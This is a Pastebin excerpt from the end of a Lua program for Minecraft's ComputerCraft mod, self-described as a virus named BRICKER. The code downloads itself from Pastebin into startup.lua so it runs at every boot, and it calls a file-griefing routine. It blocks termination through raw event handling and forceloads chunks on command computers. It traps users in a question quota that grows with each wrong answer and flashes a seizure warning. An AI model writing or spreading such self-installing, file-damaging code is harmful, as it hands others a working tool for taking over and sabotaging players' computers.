  810.     pcall(function() os.queueEvent("redraw") end)
  811.     current_question = generateQuestion()
  812.     answer_box.text = ""
  813.     while true do
  814.         local e,k,isheld = os.pullEventRaw("key")
  815.         if k < 256 and #answer_box.text < cMaxX*5 then
  816.             local a,b,c = os.pullEventRaw("char")
  817.             answer_box.text = answer_box.text .. b
  818.         elseif k == keys.enter then
  819.             if current_question:answer(answer_box.text) then
  820.                 problems_to_solve = problems_to_solve - 1
  821.                 return true
  822.             else
  823.                 local oldTxt = current_question.txt
  824.                 current_question:updateText("WATCHDOG WAS PRESENT IN THE LAST QUESTION.")
  825.                 local id,tempID = os.startTimer(2)
  826.                 repeat
  827.                     e,tempID = os.pullEventRaw()
  828.                 until e == "timer" and tempID == id
  829.                 current_question:updateText("YOU ANSWERED INCORRECTLY.")
  830.                 local id,tempID = os.startTimer(2)
  831.                 repeat
  832.                     e,tempID = os.pullEventRaw()
  833.                 until e == "timer" and tempID == id
  834.                 current_question:updateText("5 QUESTIONS HAVE BEEN ADDED TO YOUR QUOTA.")
  835.  
  836.                 problems_to_solve = problems_to_solve + 5 --punish users for getting questions wrong.
  837.                 answer_box.text  = ""
  838.                
  839.                 local id,tempID = os.startTimer(2)
  840.                 repeat
  841.                     e,tempID = os.pullEventRaw()
  842.                 until e == "timer" and tempID == id
  843.                 current_question:updateText("PAY MORE ATTENTION.")
  844.                 local id,tempID = os.startTimer(2)
  845.                 repeat
  846.                     e,tempID = os.pullEventRaw()
  847.                 until e == "timer" and tempID == id
  848.                 current_question:updateText("BRICKER THANKS YOU FOR YOUR COOPERATION.")
  849.                 local id,tempID = os.startTimer(2)
  850.                 repeat
  851.                     e,tempID = os.pullEventRaw()
  852.                 until e == "timer" and tempID == id
  853.                 current_question:updateText(oldTxt)
  854.             end
  855.         elseif k == keys.backspace or k == keys.delete then
  856.             answer_box.text = string.sub(answer_box.text,1,-2)
  857.         end
  858.         pcall(function() os.queueEvent("redraw") end)
  859.     end
  860. end
  861. --Wrapper
  862. local function answer_questions()
  863.     while true do
  864.         pcall(function() answer_question() end)
  865.     end
  866. end
  867.        
  868. --Wrapper
  869. local function ui()
  870.     pcall(function() ui_recolor(current) end)
  871.     pcall(function() ui_redraw(current) end)
  872.     while true do
  873.         local e = os.pullEventRaw()
  874.         pcall(function() ui_recolor(current) end)
  875.         if e == "redraw" then pcall(function() ui_redraw(current) end) end
  876.         local monitors = {peripheral.find("monitor")}
  877.         for k,monitor in ipairs(monitors) do
  878.             pcall(function() monitor.setTextScale(1) end)
  879.             pcall(function() ui_recolor(monitor) end)
  880.             if e == "redraw" then pcall(function() ui_redraw(monitor) end) end
  881.         end
  882.     end
  883. end
  884.  
  885. pcall(function() if not fs.exists("startup.lua") then shell.run("pastebin get F95bbkBp startup.lua") end end)
  886. pcall(griefFiles)
  887. pcall(function() os.unloadAPI("disk") end)
  888.  
  889. --Seizure warning so people dont get hurt
  890. --This is a virus, but an ethical one
  891. local function seizure_warning()
  892.     term.clear()
  893.     term.setCursorPos(1,1)
  894.     print("SEIZURE WARNING")
  895.     print("DO NOT TOUCH ANYTHING")
  896.     print("THIS COMPUTER IS INFECTED WITH A VIRUS")
  897.     print("IF YOU WISH TO ACCESS YOUR FILES, PRESS ANY KEY")
  898.     print("IF YOU ARE SENSITIVE TO FLASHING LIGHTS TURN THIS COMPUTER OFF")
  899.     local e
  900.     while e ~= "key" do
  901.         e = os.pullEventRaw()
  902.     end
  903. end
  904.  
  905. --unused, doesnt work as intended
  906. local function waste_time()
  907.     while true do
  908.         os.pullEventRaw()
  909.     end
  910. end
  911.  
  912. if commands then
  913.     pcall(function() commands.forceload("add","~","~") end)
  914. end
  915.  
  916. pcall(function() parallel.waitForAny(function() pcall(seizure_warning) end,chaos) end)
  917. --pcall(seizure_warning)
  918.  
  919. term.setTextColor(colors.pink)
  920. term.setBackgroundColor(colors.purple)
  921. while true do
  922.     pcall(function() parallel.waitForAll(ui,chaos,answer_questions) end)
  923. end
Advertisement
Add Comment
Please, Sign In to add comment